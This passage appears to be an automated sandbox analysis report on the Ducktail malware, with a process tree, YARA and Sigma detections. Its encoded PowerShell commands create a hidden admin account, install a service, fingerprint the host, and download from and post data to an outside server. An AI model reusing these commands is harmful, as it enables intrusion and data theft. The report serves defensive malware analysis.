HkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 9184 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 8316 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA= MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8308 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

cmd.exe (PID: 5720 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 4512 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 3588 cmdline: "cmd.exe" /c sc stop "myRdpService" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6016 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 6008 cmdline: sc stop "myRdpService" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 6372 cmdline: "cmd.exe" /c sc query myRdpService MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 5632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 7144 cmdline: sc query myRdpService MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

cmd.exe (PID: 3700 cmdline: "cmd.exe" /c sc delete "myRdpService" & SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto & net start "myRdpService" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7136 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

sc.exe (PID: 5836 cmdline: sc delete "myRdpService" MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

sc.exe (PID: 4628 cmdline: SC CREATE "myRdpService" binpath= "C:\Windows\Temp\myRdpService.exe cakoi10" start= auto MD5: 3FB5CF71F7E7EB49790CB0E663434D80)

net.exe (PID: 7260 cmdline: net start "myRdpService" MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

net1.exe (PID: 1808 cmdline: C:\Windows\system32\net1 start "myRdpService" MD5: BA0BCCC6029FBBE6D8B41197F252742F)

powershell.exe (PID: 7844 cmdline: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA== MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 6052 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

myRdpService.exe (PID: 4836 cmdline: C:\Windows\Temp\myRdpService.exe cakoi10 MD5: 5641F3A5B9787F23D3D34F0D9F791B7A)

regedit.exe (PID: 2148 cmdline: "regedit.exe" /e "C:\Windows\Temp\regBackup.reg" "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService" MD5: 999A30979F6195BF562068639FFC4426)

powershell.exe (PID: 3316 cmdline: "powershell.exe" -Command "systeminfo | Select-String \"OS Name\",\"OS Version\";" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 2884 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

systeminfo.exe (PID: 7784 cmdline: "C:\Windows\system32\systeminfo.exe" MD5: EE309A9C61511E907D87B10EF226FDCD)

WmiPrvSE.exe (PID: 4248 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

cmd.exe (PID: 8904 cmdline: /c powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 8900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 8924 cmdline: powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA= MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
DUCKTAIL	According to Tony Lambert, this is a malware written in .NET. It was observed to be delivered using the .NET Single File deployment feature.	No Attribution	https://forensicitguy.github.io/analyzing-net-core-single-file-ducktail/ https://harfanglab.io/en/insidethelab/reverse-engineering-ida-pro-aot-net/ https://labs.withsecure.com/assets/BlogFiles/Publications/WithSecure_Research_DUCKTAIL.pdf https://labs.withsecure.com/content/dam/labs/docs/WithSecure_Research_DUCKTAIL.pdf https://securelist.com/ducktail-fashion-week/111017/	https://malpedia.caad.fkie.fraunhofer.de/details/win.ducktail

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
0000002E.00000002.291517225825.00007FF6BCF86000.00000004.00000001.01000000.0000000A.sdmp	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0xdac4:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0x11f94:$a2: 0123456789012345678901234567890123456789 0x3291c:$a3: NTPASSWORD 0x2f7b4:$a4: LMPASSWORD 0x5cd04:$a5: aad3b435b51404eeaad3b435b51404ee 0x14f54:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0
00000004.00000002.290271848956.00000236A91EA000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Ducktail_11	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 3076	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 3076	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x19b828:$b1: ::WriteAllBytes( 0x2bd13a:$b1: ::WriteAllBytes( 0x15dd8:$b2: ::FromBase64String( 0x15e39:$b2: ::FromBase64String( 0x15eb6:$b2: ::FromBase64String( 0x15f1f:$b2: ::FromBase64String( 0x15f97:$b2: ::FromBase64String( 0x16007:$b2: ::FromBase64String( 0x1623d:$b2: ::FromBase64String( 0x162b6:$b2: ::FromBase64String( 0x38607:$b2: ::FromBase64String( 0x3caa1:$b2: ::FromBase64String( 0x3da81:$b2: ::FromBase64String( 0x17d6ab:$b2: ::FromBase64String( 0x181b45:$b2: ::FromBase64String( 0x182b25:$b2: ::FromBase64String( 0x182b90:$b2: ::FromBase64String( 0x18ccf4:$b2: ::FromBase64String( 0x1f1553:$b2: ::FromBase64String( 0x1f1b9c:$b2: ::FromBase64String( 0x1f1ec5:$b2: ::FromBase64String(
Process Memory Space: powershell.exe PID: 8300	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
Process Memory Space: powershell.exe PID: 8300	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x26f7b9:$b1: ::WriteAllBytes( 0x25ecc8:$b2: ::FromBase64String( 0x260acf:$b2: ::FromBase64String( 0x261bb7:$b2: ::FromBase64String( 0x261c2a:$b2: ::FromBase64String( 0x2676ef:$b2: ::FromBase64String( 0x1bf03d:$b3: ::UTF8.GetString( 0x21774d:$s1: -join 0x217c69:$s1: -join 0x2b22a0:$s1: -join 0x4a16b:$s3: reverse 0x55b03:$s3: reverse 0xeadec:$s3: Reverse 0xf2d95:$s3: Reverse 0xf2db4:$s3: Reverse 0xf6869:$s3: Reverse 0xf68ae:$s3: Reverse 0xff699:$s3: Reverse 0xff6b2:$s3: Reverse 0x103202:$s3: Reverse 0x164c4b:$s3: reverse
Process Memory Space: svczHost.exe PID: 9020	JoeSecurity_Ducktail_6	Yara detected Ducktail	Joe Security
Process Memory Space: svczHost.exe PID: 9020	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0x58119:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0x59875:$a2: 0123456789012345678901234567890123456789 0x66239:$a3: NTPASSWORD 0x64f70:$a4: LMPASSWORD 0x77a64:$a5: aad3b435b51404eeaad3b435b51404ee 0x5a76d:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
46.2.myRdpService.exe.7ff6bca80000.0.unpack	hacktool_windows_moyix_creddump	creddump is a python tool to extract credentials and secrets from Windows registry hives.	@mimeframe	0x511cc4:$a1: !@#$%^&()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(@&% 0x516194:$a2: 0123456789012345678901234567890123456789 0x536b1c:$a3: NTPASSWORD 0x5339b4:$a4: LMPASSWORD 0x560f04:$a5: aad3b435b51404eeaad3b435b51404ee 0x519154:$a6: 31d6cfe0d16ae931b73c59d7e0c089c0

Other

Source	Rule	Description	Author	Strings
amsi64_8300.amsi.csv	JoeSecurity_Ducktail_12	Yara detected Ducktail	Joe Security
amsi64_8300.amsi.csv	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0xc5c3:$b1: ::WriteAllBytes( 0x8a35:$b2: ::FromBase64String( 0xa83d:$b2: ::FromBase64String( 0xb926:$b2: ::FromBase64String( 0x529:$b3: ::UTF8.GetString( 0x8688:$s1: -join 0x239:$s4: += 0x25c:$s4: += 0x1e34:$s4: += 0x1ef6:$s4: += 0x611d:$s4: += 0x823a:$s4: += 0x8524:$s4: += 0x866a:$s4: += 0xbadd:$s4: += 0xbcda:$s4: += 0xdf90:$s4: += 0x5e9a3:$s4: += 0x6344c:$s4: += 0x634cc:$s4: += 0x63592:$s4: +=

Sigma Signatures

System Summary

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAVAAuAEUATgBDAE8AZABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBFAHQAUwBUAHIASQBOAEcAKAAoAEkAVwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBhAFoAQQA9AD0AIgApACkAKQApAC4AQwBPAE4AdABFAE4AdAApACkA , CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: powERSheLl.EXE -WInDOwStYle HiDdEN -encOdeDcOmmAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEUAOABBAFoAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEgASQBBAFMAUQBCAE8AQQBFAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAGgAQQBGAG8AQQBRAFEAQQA5AEEARAAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQ

Sigma detected: PowerShell Base64 Encoded IEX Cmdlet

Source: Process started

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA4AGEAOAA0AGMAMwA2ADAAOQAzADIAMwBkAGUANgBjAGQAOQBjADIANQBhADEAOAA1ADEAZAAwAGQAYwBkADgAYQAyAGYAMwBiADAAOQA3ADcANgBiAGYAOABlADcAZAA0AGQANgA0ADAAMgBhADYANwAyADAAYwAxAGEAZABkADgAOQBhADIAMwBkADUAZQBkADEAMgBlADAANQBjAGYAMgBmADUAMwBkADcAYgAwADEANQBlADcANgBiAGQANQBiADgAMgAyADMAOQA5ADgANwBjADAANAA5AGQAZQBmAGIAOQBiAGUANwA3ADcANQBmADAAYgA1ADAAZQAxADMAMABkADgAZABiAGUAZABlADQANQA4ADgAYQAwADYAZQAwAGIAYgAwADUANgA4AGIAYwA5AGQAYwA1AGEAOQA1ADkAMAA1ADgAZAAxAGIAOQA4ADcAMwAyAGIAYgA4AGQAYQA0AGMAMAA3AGQAYgBiADUANgA3AGYAOQAzAGYAMwA3ADAANgBkAGQANgAyAGYAZAAyADEAZgA1AGUAYQBlADEANwAyAGQANQAwADIANgBjAGQAZAA1ADIANwA5AGYAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABiAHkAdABlAEEAcgByAGEAeQA

Sigma detected: PowerShell Base64 Encoded WMI Classes

Source: Process started

Author: Christian Burkard (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcg